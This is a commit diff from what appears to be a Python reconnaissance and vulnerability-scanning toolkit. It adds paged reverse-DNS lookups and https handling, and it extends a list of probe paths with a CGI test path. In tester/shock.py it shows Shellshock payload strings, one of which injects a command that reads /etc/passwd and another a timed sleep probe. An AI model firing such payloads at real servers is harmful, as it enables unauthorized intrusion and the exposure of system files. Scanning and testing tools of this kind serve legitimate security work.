ZZchanged

gather.py

@@ -87,15 +87,21 @@ def queryRDNS_old(domain):
 def queryRDNS(domain):
 	hostInfos = socket.gethostbyname_ex(domain) #r = (hostname, aliaslist, ipaddrlist)
 	for ipaddr in hostInfos[2]:
-            try:
-                response = urllib2.urlopen('http://dns.aizhan.com/%s/' % (ipaddr))
-                text = response.read()
-                tree = etree.HTML(text)       
-                nodes = tree.xpath(r"//td[@class='dns-links']/a/@href")  
-                for node in nodes:
-                    print node
-            except Exception, e: 
-                print e
+
+            print '[IP Address: ' + ipaddr + ']'
+            # TODO: 加入翻页代码
+            for i in range(5): # 最多5页，需要更多到网页上去看
+                try:
+                    response = urllib2.urlopen('http://dns.aizhan.com/%s/%d/' % (ipaddr, i))
+                    text = response.read()
+                    tree = etree.HTML(text)       
+                    nodes = tree.xpath(r"//td[@class='dns-links']/a/@href")
+                    if len(nodes) == 0:
+                        break
+                    for node in nodes:
+                        print node, getTitle(node)
+                except Exception, e: 
+                    print e
 
 
 def toStr(l):

tester/shock.py

@@ -15,7 +15,7 @@
 
 EXPLOIT1 = '() { :;};a=`/bin/cat /etc/passwd`;echo $a'
 SLEEP_TIME = 7
-EXPLOIT2 = '() { :;}; /bin/sleep %s' % SLEEP_TIME
+EXPLOIT2 = '() { :;}; /bin/sleep %d' % SLEEP_TIME
 
 #env -i  X='() { (a)=>\' bash -c 'echo date'; cat echo
 #无漏洞的输出：

uris.txt

@@ -1,3 +1,4 @@
 /uc_server/control/admin/db.php
 /source/plugin/myrepeats/table/table_myrepeats.php
 /install/include/install_lang.php
+/cgi-bin/test-cgi

utils/__init__.py

@@ -1 +1 @@
-__all__ = ['webutils', 'google']
+__all__ = ['webutils', 'google', 'crawler']

utils/webutils.py

@@ -129,7 +129,7 @@ def getPageTitle(opener, url):
 		return ''
 
 	try:
-		if url[:7] != 'http://':
+		if url[:7] != 'http://' and url[:8] != 'https://':
 			url = 'http://' + url
 		req = urllib2.Request(url)
 		setupRequest(req)